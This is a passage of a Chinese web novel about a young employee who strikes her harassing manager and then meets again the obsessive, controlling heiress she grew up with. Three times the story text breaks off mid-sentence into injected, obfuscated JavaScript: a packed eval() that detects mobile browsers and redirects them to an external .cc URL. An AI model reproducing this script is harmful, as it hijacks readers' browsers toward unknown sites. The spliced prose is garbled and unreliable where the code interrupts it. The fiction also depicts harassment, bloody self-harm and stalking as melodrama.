《我的病娇大小姐》 1. 柠檬 《尝蜜》 文/懒叶·2025 *** “小陆,来一下。” 熟悉又令人厌烦的嗓音传来,陆晚柠深深吸了口气才让自己脸上的反感没那么明显。但她忘了克制动作,以至于站起来时椅子划出“噌”的一声,在安静的环境中显得无比尖锐。 同事们纷纷低着头,没有看她。 陆晚柠面无表情地走到办公室门口,前几天行政特地往门上贴了崭新的名牌,迎接里面的人升任经理。 “高总找我?” 被称作高总的人抬头笑眯眯道:“坐,我跟你说下昨天那份材料。” 陆晚柠将笔记本电脑放在两人中间低头敲字,隔开视线,却在下一刻被高总移开:“你听我说就行。” 他的手不经意想往她的手背上落,被陆晚柠淡淡抽回,她要非常努力才能克制住自己给他两拳的冲动,就连他投来似有如无的目光,她都想把那双眼睛挖出来。 可惜不行。 十五岁的陆晚柠会一巴掌扇他脸上,但二十三岁的陆晚柠要赚房租。 现在经济不景气,很多985毕业生都被裁员,满大街都是失业的人,而这位新任经理有一万种方法开了她这个新人。 听着高总指点完,陆晚柠扯扯嘴角:“明白了,我回去修改。”说完就抱着电脑想要回工位。 “等等。”高总叫住她,神情明显不满,手指敲敲桌面,“你最近的工作交付很有问题。” 陆晚柠回身:“您指的是?” “有些事反复给你说了几遍,你还是犯。” 高总随手翻开材料,指着某几处挑剔:“这些都是再基础不过的问题了,做不好明显就是态度问题。” 再怎么样,陆晚柠才刚工作几个月,而他已经是浸淫职场多年的老油条,想要挑毛病实在是太容易了。 她忍下来,低声说:“抱歉,您说的地方我会注意。” 看她态度不错,高总脸色这才好了点,又换了副语气:“这份工作没那么好做,你一个年轻女孩子觉得吃力也正常。不过呢,作为你们的经理,我肯定会对你们每一个人的成长负责。” 说着,他微微一笑,意有所指:“小陆你呀,就是太倔了。要记住,多听领导的话总是没有错的。要是再接着犯错,你的考核分数可就不好看喽。” 言下之意就是拿工作威胁她。 这些话陆晚柠已经从高总这里听过好几遍了。以前她天真地以为面对职场性骚扰只要勇敢反抗,直接拿着证据报警就行,可实际工作了,才知道有多困难。 因为那些人不是会留下把柄的傻子。 都这个年纪了,谁会傻到堂而皇之地对你做什么事?他们只会用那种恶心的目光打量你,不经意地试图触碰你,再暗示你——不听话可就要倒霉了。 他们的行为几乎没有任何成本,而身为受害者的你却随时可能要付出代价,不管是大闹一场,还是忍气吞声,都注定要失去些什么。可是这不公平。 陆晚柠握紧拳头,她莫名想起隔壁那个性格凶悍的财务经理龚姐,之前对接工作时,两人没少呛声。可这一刻,她忽然觉得龚姐就算脾气再臭一千倍也比高总强。 因为至少龚姐不会拿这种事要挟自己。 陆晚柠将所有骂人的话咽回去,垂眼站在高总面前,假装没听懂他的暗示:“嗯,我会努力工作的。” 见她继续装傻,高总的耐心彻底耗尽,沉下脸来:“你光努力有什么用?” 他倏地起身,靠近陆晚柠,顺手将办公室的门关上。 “你知道公司最近高层大换血吧?做错选择的,都走人了。”高总停下脚步,居高临下地凝视着她,保留了一点距离,“你呢,人倒是挺踏实,可惜太年轻,资历还是太浅……” 他把那份材料搭在陆晚柠怀中抱着的电脑上,手却并没离开,往上想要触碰她的脸颊。 陆晚柠右手攥得几乎要掐进掌心里去,心底的厌恶感太过强烈,她用力抬起左手,重重挡开了对方的手腕。 “高总。”她声音冷硬,“这是办公室,您注意影响。” “影响?”高总嗤笑一声,不以为意,“聊工作有什么不好的影响?” 陆晚柠沉默以对,随后低低吐出几个字,“你别逼我。” 玻璃上模糊地映出她秀丽而又几乎要隐忍到极限的脸。 “逼你?”高总如同听到了什么天大的笑话,不屑一顾,眼神不像是在看某个人,而是一粒灰尘。 他后面似乎又讲了些什么趾高气扬的话,陆晚柠没有在听。 她只是在心里对自己说,现在缺钱,绝对不能丢掉这份工作,忍一忍,择机避开他就好了。 真的能忍吗? 随后陆晚柠看到高总再次抬起肥厚又令人作呕的手掌,再过几秒就会触碰到她的发梢。她心里绷着的那一根弦蓦然断掉了,在脑海内发出断裂的声响。 她最后一次重复:“别碰我。” 依旧被熟视无睹。 忍一忍,忍一忍……听起来是多么简单的事。 可她果然还是做不到。 在脑子做出冷静判断之前,陆晚柠手中的材料和笔记本电脑就先一步砸向了高总的脸。纸页划开他的脸颊,几道血珠染红材料的边缘,男人的额角转瞬肿起鼓鼓的大包。 “啊!”高总没料到她居然敢动手,痛叫一声跌在办公桌边,连带着桌上的玻璃烟灰缸也摔碎在地。 后面的事像是走马观花般在陆晚柠眼前闪过,外头的同事听到动静,过来查看发生了什么,只看见额头流着血的高总,还有抱着电脑与材料的她。 而电脑外壳和纸页都被血浸染。 惊呼声自四面八方响起,有人在向领导报告发生了什么事,有人把摔倒的高总搀扶起来,他看起来精神还不错,死死捂着额头上的伤口,颤抖着指向陆晚柠:“……报警!报警!给我报警!” 平时交好的同事赶过来,面露震惊:“怎么回事……” 随后深吸一口气,在混乱中用极小的声音快速道,“晚柠你……你怎么能砸他的头!你这是故意伤害,你有没有想过后果,到时候被警察抓进去了怎么办!” 同事见陆晚柠木在原地,无动于衷,急得用力摇晃她的胳膊。 “是他先要对我动手的。”片刻,陆晚柠才说。 她的声音并不小,周遭的人都听得分明,一时间气氛再次凝固下来。 其实大家都清楚高总是什么德行,他在没升经理之前就喜欢对其他女同事言语骚扰,只是他非常得领导青睐,大家顾忌着这层关系,没人和他在明面上对着干。 如今这个事实被一个才来了没几个月的新人小姑娘当众点破。 高总冷笑一声:“我不知道你在说什么。”他目光中流露出阴狠,有恃无恐,“你在办公室伤人大家都看到了,而且办公室也有监控,具体怎么回事,等警察来了就知道了。” 他有恃无恐,因为他又没碰到她,就算警察来了他也没有任何过错,反而是受害方。 看着这样一场闹剧,同事们的面上有同情,有不忍,也有皱眉不赞同,似乎是觉得她不该用这种极端的方式解决问题。 陆晚柠只觉得那些眼神如同一把把刀扔过来,插在自己身上,痛得嘴唇都在颤抖。 她知道自己这份工作彻底完蛋了。以这样不体面的方式结束,她还能找到下一份工作吗?房租该怎么付?这个月薪水还没发,月底还能吃得起饭吗? 又或者在这之前她就被警察带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353381|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了,她会不会被起诉?会不会留下案底? 她是冲动了,可明明她才是受害者。她好像怎么做都是错的,只是想保护自己,为什么成本会这么高? 片刻,陆晚柠看了身旁担忧自己的同事姐姐一眼,低声说:“姐,谢谢你这段时间以来的照顾。” 随后她抬起头,毫不畏惧地迎上其他人的注视,包括刚被她爆头的高总,一种破罐破摔的感觉忽然涌上心头。 “对,我是伤人了,砸的就是你怎么了?”陆晚柠冷冷地说,“忍你很久了,真想把你那双咸猪手剁下来塞你自己嘴里,头秃得都能照镜子了还色心不死呢。给你脸了。” 每说一个字,同事们的脸色就变得更加精彩。 “你……”高总头上的血还在流,被她气得脸色发青,“你……” 那一瞬间,看着那张恶心的脸,陆晚柠想通了。就算再来一千次一万次,她恐怕还是会跟他扯破脸。 因为她就是忍不下来的性格。 她自己做事自己承担后果,付不起房租流落街头也好,进局子也好,她都认了。 忽地,外头一阵急促的脚步声传来,伴随着饱含怒意的声音:“你们怎么回事?之前早就通知过今天是股东过来拜访的日子。现在人马上就到了,你们这闹的是哪一出?!” 陆晚柠听出来这是徐珍,隔壁部门的一位领导。 “徐珍总!”同事们亦手足无措,“这……这……” 地上满是残渣碎片和血,徐珍匆匆赶来,看到眼前混乱的一幕,险些气晕过去,厉声道: “你们在搞什么?韩总已经到了!绝对不能让她看到这一幕!你……打电话给小刘让他拖住,你快把高总扶去医院,你们愣着干什么,来收拾!” 那个久违的“韩”字令陆晚柠微微皱起眉来,一丝微妙的预感忽然划过心头,旋即又很快带着侥幸心理迅速否定下来。姓韩的人多了去了,不会这么巧的。 可下一刻她就知道自己错了。 高跟鞋的鞋跟踩在瓷砖上,声响清脆。办公区域的拐角,黑色的真丝衬衫裙若隐若现。 记忆中的那个人腰肢很细,爱穿修身的衣服,再把腰带束紧,让身形被勾勒得愈发窈窕。每每这样,陆晚柠总不好意思抬头看她,而后脸颊会被她捧起来对视,巧笑嫣兮:“又不是没碰过,看两眼还害羞了?” 而今天的衬衫裙也系了腰带。 徐珍局促地站在人群的前头,大气也不敢出,根本不知道该如何向这位股东解释眼前这一幕。谁能想到会在股东拜访公司的日子闹这一出? 高跟鞋越来越近,最终停下。 徐珍脸上挤出一个干巴巴的笑:“韩总,您好。”她努力地找补,可实在没有什么好的理由能够解释,“不好意思,出现了一点小插曲……” 面前那位被所有人称作“韩总”的美人年纪很轻,看起来约莫二十出头的年纪,明眸皓齿,略卷的黑发垂下,几乎与黑色的裙子融为一体。 她的眼睛像猫一般微微眯起,很轻地“嗯”了一声:“好久不见。” 徐珍尴尬地笑笑:“嗯,上次见您确实是好久之前了……” 陆晚柠却只觉如坠冰窟,因为她分明看到,韩窈那道目光越过人群,落在了自己身上。 她的第一反应是扭过头,几乎是低吼:“高总为什么还在这儿,快让他们把高总带走,别让韩……股东看到这个人!” 同事瞪大眼睛,不解其意:“都什么时候了,你不担心你自己,还担心……” 不,不是这样的,陆晚柠脸色煞白,嘴唇无声翕动。 她厌恶高总,厌恶到对他动手,想把这个垃圾狠狠揍一顿。 但韩窈可能真的会杀了他的。 她发誓这不是玩笑。 2. 柠檬 方才隔着人群投来的那道目光恍若错觉,只是一瞬,那位韩姓股东便看向还没止住血的高总。 她的眼睛如猫一般眯起,随后面露恰到好处的担忧:“有员工不慎受伤了?” 虽然这样解释眼前的场面很是牵强,但既然股东给递了台阶,徐珍又怎会不顺势而下,连连点头:“是的,突发状况,惊扰您了,实在是抱歉。” 说着,徐珍回眸,语气依旧柔和,目光却冷冽,含着警告,“还不把受伤的人送去医院?” 几位员工连忙簇拥着高总离开,毕竟股东在场,谁也不敢再说什么,如鸟兽散。 趁着混乱,同事拽了拽陆晚柠的衣袖,将她拉到一间空的会议室内。 “晚柠……”同事的眼中是浓浓的关切。 陈茵比陆晚柠大5岁,是她同组的前辈,也是她的带教。被这样注视着,陆晚柠忽感鼻子很酸,狼狈地撇开头。 “对不起,姐,给你也添麻烦了。”她闷闷地说。 陈茵顺手为陆晚柠将一缕乱掉的头发拨顺:“没有什么麻不麻烦,我只是担心你。” 她没说下去,叹息一声。 陆晚柠强撑着没让眼泪落下来,勉强笑了下:“陪我去收拾东西吧,姐。” 她知道自己已经待不下去了。不管事实怎样,公司都不会接纳她了。 刚才发生的事情显然以极快的速度传遍了整个办公室,回工位的时候,就连路过的保洁都用怪异的眼光瞥过来,上下打量。 幸好,她留在工位的东西不算多,几分钟就收拾好了。 陈茵找了一个空的购物袋给陆晚柠,她接过来,仔细地把自己平时的水杯塞进去,那一刹,终究没忍住眼泪滑落,几滴坠在袋子里,和褶皱融为一体。 陈茵拍了拍她的肩膀,轻声说:“也不用着急,慢慢收……股东还在呢,不会这么快赶你走的。” 不。 就是因为韩窈在,她才必须马上离开。 但陆晚柠无法开口讲出这话,只是低头打开手机又飞快锁屏。 短时间内发生了太多事,令她思绪纷乱,心神不宁。 面对高总的愤怒,丢掉工作的恐慌……还有重逢那个人的无措。 心头这些情绪交织在一起,几乎要将她彻底吞没。 关于那个人,陆晚柠知道自己总有一天会再次见到她,却从未想到是在这般窘迫尴尬的境地。她不知道自己应该做出什么样的反应,只想以最快的速度离开这里。 韩窈…… 这两个字只稍稍滚过心头,便如陈旧的疤痕再次皮开肉绽,以为早已忘记,不过是自欺欺人。 陆晚柠的手指用力握紧那个装满了自己东西的购物袋,刚想起身离开,便见旁边的陈茵低头看了下手机,随后诧异地抬起头,说:“晚柠……徐珍总叫你去会议室。” “……叫我?” “……嗯。”陈茵也满是疑惑,可她刚刚收到的文字消息,分明指名道姓地叫陆晚柠过去。 大家都知道这位股东今天造访公司是专程来和徐珍总谈事情的,她为什么要在这个关键的时候专程见一个引起了混乱的员工?这根本说不通。 陈茵也猜不透,但她敏锐地感觉到了什么,戳了戳陆晚柠的胳膊:“你现在就去。徐珍总平时从来不管这些事情的,这会儿找你,说不定有什么转机。” 她不知道为什么陆晚柠的表情变得愈发难看,秀美的面庞上一片苍白,丝毫血色都不剩下。 陆晚柠喃喃道:“不……” 她一个刚来不久的新人,其实徐珍根本都不会知道她叫什么名字。 叫她过去的是韩窈,她比谁都清楚。 她现在就要离开。 陆晚柠拿起包,还有那个沾染了她泪水的塑料袋,一言不发就径自往电梯间走去,不顾身后陈茵焦急地阻拦,“晚柠,晚柠!” 她跑过去,手指重重按下向下的箭头。六部空余的电梯都像是存心跟她作对似的,全都不往这层来,非要在其他的楼层逐一停留。 仿佛在嘲笑她无谓的抵抗。 这会儿是工作时间,没人往电梯间来,因此突如其来的脚步声显得格外清脆,是不算熟悉的声音,“陆晚柠。” 陆晚柠如惊弓之鸟一般回过头,看到徐珍的脸。 她听闻过这位领导的作风,行事利落,丝毫不拖泥带水。 正如此刻,徐珍简短命令式的话音:“我们聊一下。” 陆晚柠深深呼吸一口气:“不用了吧。” 徐珍扬起眉:“你是应届生吧,怎么,现在找工作很容易吗?连为自己争取的勇气都没有,就这么一走了之?” “……” “最后的机会。”说完,徐珍转身,“要不要随你。” 陆晚柠透过外面的玻璃瞧了一下,徐珍进的那间会议室是空的,没有其他人在。 她摸不透对方的意思,但环顾四周都没看到韩窈的身影,令她的警戒心略略放低。 迟疑了几秒后,她还是坐在了徐珍的面前。 桌上整齐地放着矿泉水,徐珍随手拧开一瓶,一口气就喝了大半。“说说吧。”她说,“早上发生什么事了?为什么动手打人?” “我……” 徐珍揉揉眉心:“你知道今天有多重要吗?搞这一出,我这三个季度的奖金都差点泡汤了。” “对不起。”陆晚柠愧疚地垂下脑袋,嘴唇翕动,“我……” 她慢慢地把事情讲了一遍,其实也乏善可陈,无非就是高总想要毛手毛脚,而她忍不下去了而已。 “影响到您了,对不起。” 徐珍直接把那瓶水喝得见了底,刚才在股东面前险些圆不上场,她紧张得出了一身汗,这会得好好补充点水分。 “好了,这些话就不用讲了。”她说,“这事我会处理。” 陆晚柠微怔:“公司不开除我?” “如果你所说属实,不会。” “可是……”怎么会? 徐珍也没藏着掖着,直接告诉了她:“股东很重视这件事,特意嘱咐我们调查清楚,希望公司保护员工权益。”说着,她语气变得轻快起来,“刚好我也早就想把那姓高的弄走了。” 果然是这样,除了韩窈还有什么别的解释呢? 陆晚柠沉默不语。 徐珍的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353382|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神中渐渐浮现出探究的意味。她工作这么多年,见的人多了,大家都在商言商,位置越高,越没有人会多管闲事。 而那位股东小姐,撞见这一幕不光没有生气,还嘱咐他们要公允处理,话里话外,偏向性很明显。 徐珍可不觉得这是偶然。 “对了,你是不是认识韩总?”她轻声问。 陆晚柠心头一惊,忙着否认:“不……不认识。” 可徐珍怎会错过那双眼中一闪而过的慌张,她瞬间明白了什么,只是也没费心去揭穿那稚嫩的掩饰。 “早点回去吧,这几天不用来了,有结果之后我会联系你。” “……谢谢徐总。” *** 那天陆晚柠几乎魂游天外,险些不知道自己是怎么到家的。下午的地铁很空旷,她盯着白色车厢发呆,还是靠列车员提醒这是终点站,才如梦初醒下了车。 室友还没下班,家里只她一人,原本不大的房子倏忽显得空落落的。 锁是完好的,家里没人来过。暂时。 “韩窈”两个字犹如悬空的刀,而她就是断头台上的死刑犯,不知刀究竟何时会落下,无处逃避。 没有人能理解她究竟为什么会这么胆战心惊。 陆晚柠瘫坐在沙发上,疲惫袭来,柔软的触感忽地将她带回了十六岁,那时她和韩窈两人在更大的沙发上躺着,她即将睡着,可即便是转过身,都能感到那道难以忽视的目光。 回过头,韩窈眼睛眨也不眨地看着她。 “干嘛。”陆晚柠困得说不清楚话,“脸上……又没有东西。” “我喜欢看着你。” “有什么好看的。” 韩窈浅浅抿出一个微笑,伸出手,用指尖碰了一下陆晚柠的额头:“嗯,好看。” 她的手指并没有就此离开,而是轻轻地顺着陆晚柠的眉心、鼻梁一路往下,直至游弋整张脸,如同一片花瓣坠落。 “骗人……”陆晚柠咕哝,痒得下意识伸手去推,却被韩窈顺势抓住。 凑得很近,熟悉的香味沁入呼吸。 “哪里骗人了?” “没你好看……”陆晚柠想,韩窈每天照镜子看惯了自己,怎么还会觉得她好看呢。 肯定是骗她的。 韩窈那张精致得如同洋娃娃似的脸上,笑意似乎短暂地加深了,不过只维持了片刻,就变回了平日里优雅得恰到好处的微笑。 “睡吧。”她说。 那一觉陆晚柠一直睡到了晚上,刚刚醒来就吓了一跳,因为对上的依旧是那双黑白分明的眼睛,仿佛簇簇火苗。 韩窈还在注视着她,那目光不知是梦还是醒。 “怎么看都看不够。”她说,“我好想一辈子都看着你。” 一辈子,多么遥远的词汇。 *** “晚柠,你怎么在沙发上睡着了?” 开门声把陆晚柠吵醒,室友从门上撕下什么,一边进门换鞋,一边纳闷:“咱家门上怎么有张纸条?” 浅绿色的便利贴上什么也没写,只是用水笔勾勒出一个小小的简笔画图案。 柠檬。 3. 蜜 *** 许多年前,陆晚柠第一次见到韩窈是在那个雾蒙蒙的清晨,天色分明亮得刺眼,却又看不到太阳在哪,总之是很奇怪的天气。 “去戴口罩。”陆佳惠一拍她的脑袋,“小孩子闻多了雾霾会傻。” “那你为啥不戴?” 陆佳惠恼羞成怒:“让你戴就戴,话那么多!” 陆晚柠即便年纪还小,也深深明白一个道理,那就是跟老妈顶嘴没什么好下场,所以她还是听话地去拿了一个口罩戴上。 在有钱人家里当佣人的这份工作是陆佳惠托人介绍来的,不然这么好的事儿可轮不到她,薪水不错,包吃包住,别人抢破头都抢不到。在此之前她只能零零散散接一些小时工家政的活儿,收入并不稳定。 陆晚柠每天听这些话耳朵都要起茧子了。 “人家好不容易同意我带个娃来住的,现在哪还有工作让我带娃上门呀!你要夹着尾巴做人知道不,千万不要乱跑,不然就得睡大街喽。” “……好好好。” 这点道理陆晚柠还是明白的,所以在那幢属于别人的、大得看不到尽头的豪宅里,她从来不乱跑。 早上乖乖地从后门坐公交去上学,晚上再从后门回来,努力降低自己的存在感,活像寄生在这里的老鼠。 但是在这里,厨房总是有很多要扔掉的临期食品,陆佳惠每天都会拿很多好吃的给她。 所以陆晚柠觉得当寄生虫也挺快乐的。 只是偶尔,她看着牛奶瓶子上印着的生产日期,很不解,“这不是昨天吗?”为什么要扔? 陆佳惠说:“他们家大小姐比较金贵,要新鲜的。” “昨天还不新鲜?” “要当天空运过来的啦,三小时以内。” 陆晚柠无语,嘟嘟囔囔:“干脆对着牛喝好了。” “哎呀!”陆佳惠本来在床上躺着,一看天色不对劲,一拍脑袋就爬起来了,“要下雨了,我得去那边帮忙,你快去收被子,我早上刚晾的!” 窗外不知何时变得阴沉沉,乌云密布,不是雾霾吗? 母女俩来不及说什么,就拿了把伞,出了房间分头跑去。 陆佳惠一般会把被子晒在那片几乎没有人来的草坪上,陆晚柠已经轻车熟路,远远就看到了熟悉的晾衣架,还有—— 那个坐在画架前的,从未见过的女孩。 开春的季节,她身上搭着条杏黄色的披肩,黑发垂下,掩住大半侧脸,手里捧着油彩的调色盘。 陆晚柠不认识她,也没想跟她说话,只是抬眸刹那撞见那女孩回眼,四目交错,她忽地听到自己的心重重跳了一下。 画布上的色块已初具雏形,艳丽又斑斓地映在女孩那张精致的脸上,在原地静坐的身形,一瞬恍若刚从油画里走出来般失真。 真的不是洋娃娃吗? 几颗雨点坠下,让陆晚柠很快回神,意识到自己再不动作快点被子就要遭殃了,于是冲上前就利索地把该收的收了,再把晾衣架折起来。 被子不大,叠起来抱在怀里,正好能被伞沿遮住,岌岌可危。 陆晚柠没再多想,抱着被子火速冲回了住处。 很完美,一点也没湿。 她去卫生间洗了把脸,忽然又想起那个女孩。 那是谁啊?从来没在这一片见过。 陆晚柠坐在屋里,直直盯着窗外看。雨丝已变得细密,比刚才势头要大。她也不知怎么的,只觉仿佛鬼迷了心窍似的,那个陌生女孩的容颜不断映入眼帘。 ——她的身边没有伞。 要不,做点好事得了?陆晚柠如此想着,从储物柜里找出备用伞,握在手里,又朝同样的方向跑去。 草坪上的风景什么也没变,女孩依旧坐在原地,只是画架被疏风细雨撞得歪歪斜斜。她的发丝也沾上了水珠,却并不以为意,只低垂着眼睫。 陆晚柠跑了三趟,气喘吁吁,冲到女孩面前,把备用的那把伞递过去:“喂!” 天上开始轰隆隆地作响,她必须很大声才能让对方听见。 陆晚柠喊道:“下雨了,愣着干嘛!” 女孩这才抬起眼,表情淡淡的,看不出任何情绪。 她轻声说:“你是谁?” “……你又是谁。”陆晚柠撇撇嘴角。 她性子急,见对方久久不接,干脆直接把伞往人怀里塞去,却一不留神把那女孩推得一个踉跄,向后倒去。 怎么有人轻得跟张纸一样? 陆晚柠眼睛顷刻瞪大,幸好,眼疾手快地把人拉住了,否则就要叫女孩跌得一身污泥了。 “都下雨了,留在这干嘛?” 女孩没说话,只是低头看了一眼自己被握皱的斗篷。片刻,她说:“那该去哪里?” 这话好奇怪,从哪里来的回哪里呗。只是陆晚柠没仔细思索:“要是没地儿去,来我房间呗。” 她都不知道自己为什么会莫名其妙地给一个陌生人送伞,还让对方在自己房间避雨,甚至画架画具都是她扛的。 陆佳惠那边还有的得忙,每次下雨,主人家那边事情就很多,房间里待两个人倒也不显得拥挤。 “坐啊。”陆晚柠招呼对方,顺手拿起没喝完的牛奶一饮而尽。 女孩站在门边,与这里格格不入,视线落在牛奶瓶上。半晌,她说:“过期了。” 今天第二次听到这个观点,陆晚柠嗤之以鼻:“昨天的哪里就过期了,我又不是大小……” 话说出口的速度比脑子转得快,“大小姐”三个字讲到一半,她才想到什么,怔怔看向那女孩,倏地瞳孔一缩。 陆晚柠这才后知后觉地意识到女孩的身份。 能够随意在这里走动画画,还有那件看起来就不便宜的披肩…… 这家里还能有谁,她怎么才想到?! “没喝完的,当天就会扔掉。”下一刻,女孩说,“你偷的吗?” 口吻平静,像是并不在乎。 陆晚柠“噌”地一下从椅子上跳起来:“不!不是!”她胸口剧烈起伏,“我没偷东西!” “那?” 陆晚柠急得像热锅上的蚂蚁,却咬着嘴唇,说不出话。 瓜分厨房当天扔掉的食物是佣人们心照不宣的规矩,毕竟穷人最见不得的就是浪费,进垃圾桶还不如进他们的肚子对不对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353383|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?管家也睁一只眼闭一只眼,随他们去了。 但大小姐看起来根本不知道这种事,那她说出来不是把所有人都害了吗?可是……可是不说的话,就洗不掉偷东西的嫌疑了,她和老妈一定会被赶出去的。 怎么办? 陆晚柠吓得都哭出来了,陆佳惠好不容易才找到这份工作,她不想害得她们两个真的睡大街。 她无措地站在原地,任凭泪水往下流,女孩静静凝视着她,忽地伸出手,指尖顺着脸颊,轻轻抹掉了陆晚柠的泪水。 “怎么哭了?”大小姐说,“才知道我是谁?” 陆晚柠颤抖着点了下头,因恐惧而说不出话。她觉得自己的脸成了一个玩具,被对方把玩在冰凉的指尖中。 两个人年纪差不多大,她却在气势上莫名矮了人一头。 陆晚柠大气也不敢出,忽地感觉全身到处都湿透了,黏糊糊的——被雨打湿的裤脚蜷成一团在踝上,颊边残余的泪,刚喝完牛奶没擦干净的嘴角。 不,不止这些。 还有近在咫尺又淡漠的那道视线,像雨丝无声化成枷锁,让她后背变得汗津津的,正如被雨水不断敲打撞击的窗户,无处可逃。 偏偏大小姐的语气又很温柔。 “后悔带我回来了?” 陆晚柠怕她真的把她们赶出家门,猛地摇了摇头。 不过后来她想…… 如果那天她说了后悔,是不是就没有后来的事了? 韩窈就不会在水雾氤氲中看着她,满室都是血的味道,掌心握着刀,即便被割伤也不松开,然后一遍又一遍地问她,“你后悔了是不是?” 那双漂亮的眼睛弯弯,唇畔漾着微笑,甚至到了这种时候也笑不露齿,可是纯白的连衣裙上却绽开了红色的花。 平静得像在念诗。 “你想离开我了吗?” 不论陆晚柠怎么恳求,哭泣,发怒,又或者是尖叫,韩窈脸上依旧是那副不变的表情,笑容如水清浅,轻声说: “你知道我活不下去的。” 那一刻陆晚柠的泪水如雨下坠,她想她好像也快要活不下去了。 *** 但现在的陆晚柠还活着。 室友把那个画了柠檬的便笺纸顺手卷成一团,扔进垃圾桶,陆晚柠就下意识站了起来:“等等。” “……啊?”室友吓了一跳,费解地看着陆晚柠又把纸条翻了出来,“你干嘛?”垃圾桶多脏啊。 陆晚柠不知该如何解释。 韩窈送的东西不能扔掉,她会不高兴,到时没有人会好过。 至于韩窈从何知晓这种小事,她总有方法,毕竟她是韩窈。 陆晚柠沉默地把纸条收起来,去洗了个手,室友担心地跟进来:“晚柠你没事吧?今天看起来怪怪的。” “……没事。” 陆晚柠凝视着镜中的自己,脸色苍白,忽然说,“我可能要搬出去。” 室友惊愕地瞪大眼睛:“你疯了?这么划算又方便通勤的房源咱俩找了多久你忘了吗?你要搬去哪里?” 陆晚柠也不知道答案。 有韩窈在,她能去哪儿? 4. 柠檬 那晚室友好说歹说,终究是把陆晚柠先劝下了,毕竟这么晚了,现出去找房子也不安全是不是? “你别不开心啦。” 听完今天白天在办公室的遭遇,室友拉着她一起在家做了关东煮。速冻的丸子还有刚从超市买的打折蔬菜在锅里滚一下,便宜又好吃,还不用洗很多碗。 “揍了那个老登,还保住了工作多好啊,还有人从天而降帮你解围,该高兴不是吗?” 陆晚柠闻着关东煮诱人的香气,从前她能吃好几碗,如今却胃口全无,食不下咽:“我……” 她嘴唇翕动,片刻,才说:“那个人,我以前认识。” “谁?” “我妈以前做保姆那家的女儿。” “你们关系好吗?” “……” 室友没看出她的异样,随口说:“肯定好吧,不然人家干嘛帮你。” 是好,好到睡在一张床上的那种。韩窈有洁癖,平时不让任何家里的佣人碰她,却总会在夜晚钻进陆晚柠的被窝,将脸颊贴过来,叫她的昵称。 念这两个字的时候,眼睛会发亮,“柠檬。” 其实陆晚柠不喜欢被叫作柠檬。陆佳惠没什么文化,给她起这个名字单纯是因为爱煮柠檬水喝,可是陆晚柠不中意那么酸的味道,她更喜欢甜一点的水果。 可韩窈总会说柠檬是甜的,比蜂蜜还甜。陆晚柠只觉得她在侮辱自己智商。 怎么可能。 往事再度一幕幕浮现在眼前,陆晚柠还是咬牙强行逼着自己吃掉了一大碗饭,怎么死都不能当饿死鬼。 深夜她听着窗外的风声睡不着,爬起来从微信里翻出租房中介的联系方式,刚想翻翻他们的朋友圈看看房源,却发现什么也看不见,不知是被屏蔽还是被删除了。 陆晚柠顿了片刻,切到其他社交平台上去找租房的渠道,很快又搜到许多中介和小区。平时这些人24小时在线秒通过,可如今却都像是有默契一样,她的好友申请石沉大海。 在帖子下留言也没人回。 陆晚柠不意外,只是有点麻木,因为这就是韩窈的作风。 她干脆找了个租房的群,进去蹲别人转租的消息,不过这会儿晚了,也没什么人分享,明天再说吧。 *** 昨天徐珍说有结果了再通知她,这几天先不用去公司,所以陆晚柠久违地睡了个懒觉。醒来后本来想看看群里有没有什么房源,却发现群里没人说话。 她随手发了一条,“请问xx小区有人转租吗?” 不出意外,又没人回复。 毕竟和韩窈相处了整整十年,这点小事儿还不至于影响陆晚柠的心情,她随意收拾了下,就准备出门找房了。 镜中映出她再熟悉不过的脸,大概是昨夜心事太多,今天总觉眼神恹恹的,嘴唇紧抿。 夏天的时候陆晚柠嫌热,于是一剪刀剪到了耳下,让陆佳惠给自己烫了个蛋卷头,还被吐槽这么大个人了还要装可爱。一个季节过去,头发又长长了些。 要再剪短吗?还是留一留? 以前韩窈喜欢她把头发保持在特定的长度,大约是触及肩膀的程度,能散下来,也能扎个小揪揪。 ……韩窈韩窈韩窈,韩窈一出现脑子里就没点别的了吗?! 陆晚柠烦躁地甩甩头,却发现自己又习惯性地把头发扎成了韩窈喜欢的样式,恼火地一把扯下来,直接穿鞋出门了。 她借了室友的号,在租房app上约了个中介,在坐地铁过去的路上,忽然收到了陈茵的消息:“晚柠,你还好吗?” “我没事,姐不用担心。” 陈茵:“那就好,我跟你说……” 对话框显示“对方正在输入中”良久,随后。 陈茵:“公司今早开了个会,那几个平时不在公司的大领导都特地回来了,宣讲了好久的企业文化,尤其强调我们公司会保护女员工,严禁性骚扰,违者扭送公安机关……” 